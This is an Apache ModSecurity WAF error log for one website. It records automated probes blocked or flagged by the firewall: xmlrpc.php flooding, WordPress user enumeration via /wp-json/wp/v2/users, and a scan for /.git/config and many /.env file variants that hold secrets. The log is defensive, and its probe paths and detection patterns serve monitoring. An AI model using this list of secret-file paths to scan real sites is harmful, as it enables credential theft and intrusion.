[Tue Apr 14 05:25:31.055120 2026] [:error] [pid 64393:tid 64415] [client 104.28.165.133:14634] [client 104.28.165.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.165.133, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad1fS-ClKltJhW50hKPKCAAAARQ"]
[Tue Apr 14 05:25:41.545278 2026] [:error] [pid 19793:tid 19808] [client 104.28.165.133:15487] [client 104.28.165.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.165.133, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad1fVQGEQsZw9TkmIA4bOAAAAM0"]
[Tue Apr 14 05:50:21.447672 2026] [:error] [pid 19687:tid 19715] [client 170.106.180.153:60738] [client 170.106.180.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ad1lHWBZImnR12CCWFo6nwAAABM"]
[Tue Apr 14 07:54:47.519705 2026] [:error] [pid 35630:tid 35702] [client 43.156.168.214:53576] [client 43.156.168.214] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ad2CRzer0pVFxOiOauW5OwAAAJA"]
[Tue Apr 14 08:59:33.105085 2026] [:error] [pid 37048:tid 37071] [client 216.73.216.11:9036] [client 216.73.216.11] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||gigfragments.org|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "ad2RdZ52Bo1OyzeXo_yamQAAARQ"]
[Tue Apr 14 10:26:23.893346 2026] [:error] [pid 35713:tid 35737] [client 35.233.130.26:64079] [client 35.233.130.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.233.130.26, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad2lz66-hhx6ZepqOSkEpgAAANU"]
[Tue Apr 14 10:26:27.593265 2026] [:error] [pid 35713:tid 35730] [client 35.233.130.26:64079] [client 35.233.130.26] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "ad2l066-hhx6ZepqOSkEqQAAAM4"]
[Tue Apr 14 10:26:29.353014 2026] [:error] [pid 35713:tid 35739] [client 35.233.130.26:64079] [client 35.233.130.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.233.130.26, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad2l1a6-hhx6ZepqOSkEqwAAANc"]
[Tue Apr 14 10:26:31.251627 2026] [:error] [pid 35629:tid 35677] [client 35.233.130.26:60692] [client 35.233.130.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.233.130.26, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad2l1zY8VahzC1YJBSjLCQAAAFI"]
[Tue Apr 14 10:26:33.158576 2026] [:error] [pid 37048:tid 37070] [client 35.233.130.26:65366] [client 35.233.130.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.233.130.26, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad2l2Z52Bo1OyzeXo_yxuwAAARM"]
[Tue Apr 14 10:26:35.011907 2026] [:error] [pid 35713:tid 35717] [client 35.233.130.26:56159] [client 35.233.130.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.233.130.26, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad2l266-hhx6ZepqOSkErQAAAME"]
[Tue Apr 14 10:26:36.835462 2026] [:error] [pid 35713:tid 35725] [client 35.233.130.26:62728] [client 35.233.130.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.233.130.26, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad2l3K6-hhx6ZepqOSkEsAAAAMk"]
[Tue Apr 14 10:26:36.835643 2026] [:error] [pid 35713:tid 35725] [client 35.233.130.26:62728] [client 35.233.130.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.233.130.26, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad2l3K6-hhx6ZepqOSkEsAAAAMk"]
[Tue Apr 14 12:24:04.594439 2026] [:error] [pid 35713:tid 35717] [client 45.181.57.186:42043] [client 45.181.57.186] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "ad3BZK6-hhx6ZepqOSk9CAAAAME"]
[Tue Apr 14 12:25:46.746178 2026] [:error] [pid 37048:tid 37073] [client 45.181.57.186:42840] [client 45.181.57.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.181.57.186, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad3Byp52Bo1OyzeXo_zRSgAAARY"]
[Tue Apr 14 12:26:32.665683 2026] [:error] [pid 35629:tid 35679] [client 192.144.148.122:38434] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ad3B-DY8VahzC1YJBSja6wAAAFQ"]
[Tue Apr 14 12:27:48.899980 2026] [:error] [pid 35630:tid 35691] [client 45.181.57.186:43228] [client 45.181.57.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.181.57.186, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad3CRDer0pVFxOiOauXr0gAAAIU"]
[Tue Apr 14 12:29:56.610623 2026] [:error] [pid 37226:tid 37243] [client 45.181.57.186:43219] [client 45.181.57.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.181.57.186, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad3CxJOA5-IQ0IVmQCoWzQAAAU8"]
[Tue Apr 14 12:32:06.647751 2026] [:error] [pid 35630:tid 35689] [client 45.181.57.186:42028] [client 45.181.57.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.181.57.186, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad3DRjer0pVFxOiOauXscAAAAIM"]
[Tue Apr 14 12:34:19.831419 2026] [:error] [pid 35629:tid 35673] [client 45.181.57.186:42567] [client 45.181.57.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.181.57.186, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad3DyzY8VahzC1YJBSjb8wAAAE4"]
[Tue Apr 14 13:22:31.561733 2026] [:error] [pid 35629:tid 35673] [client 170.106.15.3:56536] [client 170.106.15.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ad3PFzY8VahzC1YJBSjm_wAAAE4"]
[Tue Apr 14 13:43:39.935770 2026] [:error] [pid 37048:tid 37071] [client 106.213.81.111:13798] [client 106.213.81.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.213.81.111, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad3UC552Bo1OyzeXo_zfxgAAARQ"]
[Tue Apr 14 13:46:09.729102 2026] [:error] [pid 18776:tid 18798] [client 182.9.35.114:13407] [client 182.9.35.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.9.35.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad3UocIjIcAYZxezzAWjvQAAAdQ"]
[Tue Apr 14 13:46:46.941134 2026] [:error] [pid 35630:tid 35689] [client 106.213.81.111:1077] [client 106.213.81.111] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "ad3Uxjer0pVFxOiOauUEgQAAAIM"]
[Tue Apr 14 13:48:21.872165 2026] [:error] [pid 35628:tid 35637] [client 106.213.81.111:31630] [client 106.213.81.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.213.81.111, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad3VJefPm-ozGuwCWXLbRAAAAAU"]
[Tue Apr 14 13:49:57.750199 2026] [:error] [pid 35628:tid 35656] [client 106.213.81.111:6437] [client 106.213.81.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.213.81.111, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad3VhefPm-ozGuwCWXLcAAAAABg"]
[Tue Apr 14 13:51:28.626553 2026] [:error] [pid 18776:tid 18790] [client 106.213.81.111:27368] [client 106.213.81.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.213.81.111, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad3V4MIjIcAYZxezzAWlTAAAAcw"]
[Tue Apr 14 13:53:02.254561 2026] [:error] [pid 18776:tid 18797] [client 106.213.81.111:30359] [client 106.213.81.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.213.81.111, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad3WPsIjIcAYZxezzAWl_wAAAdM"]
[Tue Apr 14 14:04:59.613183 2026] [:error] [pid 35628:tid 35647] [client 44.211.23.168:52430] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "ad3ZC-fPm-ozGuwCWXLgVgAAAA8"]
[Tue Apr 14 14:05:02.115644 2026] [:error] [pid 35713:tid 35725] [client 44.211.23.168:39342] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "ad3ZDq6-hhx6ZepqOSlcwwAAAMk"]
[Tue Apr 14 14:05:02.936499 2026] [:error] [pid 35629:tid 35683] [client 44.211.23.168:39348] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.local"] [unique_id "ad3ZDjY8VahzC1YJBSj6EAAAAFg"]
[Tue Apr 14 14:05:03.755596 2026] [:error] [pid 35629:tid 35670] [client 44.211.23.168:39350] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.production"] [unique_id "ad3ZDzY8VahzC1YJBSj6FQAAAEs"]
[Tue Apr 14 14:05:04.576714 2026] [:error] [pid 37048:tid 37054] [client 44.211.23.168:39362] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.staging"] [unique_id "ad3ZEJ52Bo1OyzeXo_zhvwAAAQQ"]
[Tue Apr 14 14:05:05.396454 2026] [:error] [pid 35630:tid 35703] [client 44.211.23.168:39374] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.development"] [unique_id "ad3ZETer0pVFxOiOauUPEgAAAJE"]
[Tue Apr 14 14:05:06.216528 2026] [:error] [pid 35629:tid 35667] [client 44.211.23.168:42890] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.test"] [unique_id "ad3ZEjY8VahzC1YJBSj6GQAAAEg"]
[Tue Apr 14 14:05:07.034773 2026] [:error] [pid 18776:tid 18792] [client 44.211.23.168:42894] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.remote"] [unique_id "ad3ZE8IjIcAYZxezzAWoRwAAAc4"]
[Tue Apr 14 14:05:07.854184 2026] [:error] [pid 37048:tid 37057] [client 44.211.23.168:42898] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.bak"] [unique_id "ad3ZE552Bo1OyzeXo_zhwAAAAQc"]
[Tue Apr 14 14:05:08.674250 2026] [:error] [pid 35713:tid 35735] [client 44.211.23.168:42908] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.backup"] [unique_id "ad3ZFK6-hhx6ZepqOSlcxwAAANM"]
[Tue Apr 14 14:05:09.498738 2026] [:error] [pid 35629:tid 35662] [client 44.211.23.168:42914] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.save"] [unique_id "ad3ZFTY8VahzC1YJBSj6IwAAAEM"]
[Tue Apr 14 14:05:10.319401 2026] [:error] [pid 35713:tid 35721] [client 44.211.23.168:42930] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.old"] [unique_id "ad3ZFq6-hhx6ZepqOSlcyQAAAMU"]
[Tue Apr 14 14:05:11.138544 2026] [:error] [pid 35630:tid 35698] [client 44.211.23.168:42938] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.sample"] [unique_id "ad3ZFzer0pVFxOiOauUPHAAAAIw"]
[Tue Apr 14 14:05:11.957231 2026] [:error] [pid 35630:tid 35697] [client 44.211.23.168:42950] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.example"] [unique_id "ad3ZFzer0pVFxOiOauUPHQAAAIs"]
[Tue Apr 14 14:05:12.776191 2026] [:error] [pid 35630:tid 35686] [client 44.211.23.168:42956] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.dev"] [unique_id "ad3ZGDer0pVFxOiOauUPJAAAAIA"]
[Tue Apr 14 14:05:13.598442 2026] [:error] [pid 35630:tid 35702] [client 44.211.23.168:42970] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.prod"] [unique_id "ad3ZGTer0pVFxOiOauUPKAAAAJA"]
[Tue Apr 14 14:05:14.423542 2026] [:error] [pid 35630:tid 35689] [client 44.211.23.168:42984] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.stage"] [unique_id "ad3ZGjer0pVFxOiOauUPLgAAAIM"]
[Tue Apr 14 14:05:15.243967 2026] [:error] [pid 35628:tid 35648] [client 44.211.23.168:42998] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.ci"] [unique_id "ad3ZG-fPm-ozGuwCWXLgbwAAABA"]
[Tue Apr 14 14:05:16.068333 2026] [:error] [pid 18776:tid 18799] [client 44.211.23.168:46194] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.docker"] [unique_id "ad3ZHMIjIcAYZxezzAWoTgAAAdU"]
[Tue Apr 14 14:05:16.889598 2026] [:error] [pid 35628:tid 35635] [client 44.211.23.168:46196] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.live"] [unique_id "ad3ZHOfPm-ozGuwCWXLgcgAAAAM"]
[Tue Apr 14 14:05:17.710371 2026] [:error] [pid 35628:tid 35639] [client 44.211.23.168:46210] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.preprod"] [unique_id "ad3ZHefPm-ozGuwCWXLgdgAAAAc"]
[Tue Apr 14 14:05:18.531604 2026] [:error] [pid 35628:tid 35654] [client 44.211.23.168:46218] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.uat"] [unique_id "ad3ZHufPm-ozGuwCWXLgeQAAABY"]
[Tue Apr 14 14:05:19.352553 2026] [:error] [pid 18776:tid 18784] [client 44.211.23.168:46232] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.dist"] [unique_id "ad3ZH8IjIcAYZxezzAWoTwAAAcY"]
[Tue Apr 14 14:05:20.173796 2026] [:error] [pid 37048:tid 37062] [client 44.211.23.168:46238] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.swp"] [unique_id "ad3ZIJ52Bo1OyzeXo_zhwgAAAQw"]
[Tue Apr 14 14:05:21.012009 2026] [:error] [pid 37226:tid 37244] [client 44.211.23.168:46250] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env~"] [unique_id "ad3ZIZOA5-IQ0IVmQCosxQAAAVA"]
[Tue Apr 14 14:05:21.832604 2026] [:error] [pid 35630:tid 35704] [client 44.211.23.168:46264] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/app/.env"] [unique_id "ad3ZITer0pVFxOiOauUPTgAAAJI"]
